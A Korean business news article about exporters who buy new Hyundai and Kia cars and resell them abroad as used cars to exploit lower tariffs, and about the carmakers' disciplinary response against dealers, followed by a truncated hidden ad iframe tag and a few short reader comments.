머니투데이 김보형기자][법적으론 문제 없어…영업사원 판매 수당 회수 놓고 갈등] 현대·기아차가 내수용 신차를 구입해 중고차로 둔갑시킨 뒤 해외에 되파는 '변칙 수출업자'들 때문에 골머리를 앓고 있다.
변칙 수출업자들은 중고차에 대한 관세가 낮다는 맹점을 활용해 신차를 사자마자 다시 해외로 수출, 정상적으로 차를 판매하는 현지 영업망을 교란시키고 있다.
현대·기아차는 개인 소유의 차를 해외로 판매하는 것을 제지할만한 법적 수단이 없어 변칙 수출업자에게 차를 판매하는 국내 대리점과 영업사원들을 사후 징계하고 있지만 노사 갈등만 유발하고 있다.
자동차업계 관계자는 27일 "매달 적게는 100대에서 많게는 500대 안팎의 현대·기아차 신차들이 미국과 유럽은 물론 중국, 동남아지역으로 수출되고 있다"며 "초기에는 우즈베키스탄, 몽골 등 자동차 후진국에 대한 수출이 많았으나 최근엔 현대·기아차에 대한 인지도가 높아지면서 수출국가도 늘어나는 추세"라고 말했다.
변칙 수출이 가능한 이유는 관세 탓이다. 국가별로 다르지만 통상 중고차는 신차 수출보다 관세가 많게는 절반 가까이 낮아 현지에서 신차로 판매하면 이익을 남길 수 있다. 이 과정에서 일부 업자들은 새 차임에도 차량 가격을 대폭 낮게 써 세금을 줄이기도 한다.
과거 소규모로 활동하던 변칙 수출업자들이 최근 아예 법인을 차려놓고 아르바이트생들을 고용해 전국 대리점을 돌며 신차를 구입하고 있다.
수출 법인 관계자는 "최근 원화강세로 작년보다 현지에서의 이익이 줄긴 했지만 해외 수요가 꾸준하게 있다"면서 "특히 현대차 아반떼와 기아차 모닝, 포르테는 주문이 밀릴 정도로 인기"라고 털어놨다.
현대·기아차는 고심하고 있다. 변칙 수출차가 해외에서 대거 유통될 경우 현지 딜러의 판매독점권이 손상될 뿐만 아니라 애프터서비스(AS) 책임 문제가 발생하는 것은 물론 어렵게 쌓은 브랜드 인지도에도 악영향을 미칠 수 있기 때문이다.
이에 따라 변칙 수출업자로 의심되는 경우 차량 판매를 거부하도록 대리점 등에 지침을 내려 보냈지만 실적에 쫓기는 영업현장에서 '수출차'와 '일반차'를 구분해가며 차를 사겠다는 손님을 거절하기는 쉽지 않다.
현대·기아차는 고육책까지 동원하고 있다. 매달 수출 차량 차대번호를 관세청에서 입수한 뒤 이를 대조해 판매 대리점을 징계하고 영업사원의 판매 수당을 환수하는 등 강력한 대응을 하고 있다.
그러나 대리점과 영업사원들은 수출차량인 줄 모르고 판매했는데도 징계를 내리거나 판매 수당을 환수하는 것에 불만을 쏟아내고 있다. 일부 대리점들은 공정거래위원회에 이같은 수당 환수를 고발하는 것까지 검토중이다.
현대차 대리점 관계자는 "최근엔 변칙 수출차 구매자들이 의심을 피하기 위해 가격을 할인해주거나 무슨 메이커 선팅을 해달라고 요구하는 등 상식적으로 변칙 수출차 파악이 어려운 상황"이라며 "법적으로 못 막는 것을 우리에게 막으라고 하는 것 자체가 넌센스가아니냐고 반문 했다 <IFRAME style="DISPLAY: none" name=adtive_chk src="http://
121210-04-29 09:05
니네 아직도 하고있다는데
이제좀고마하지...............
뒤봐준놈이 누구니?
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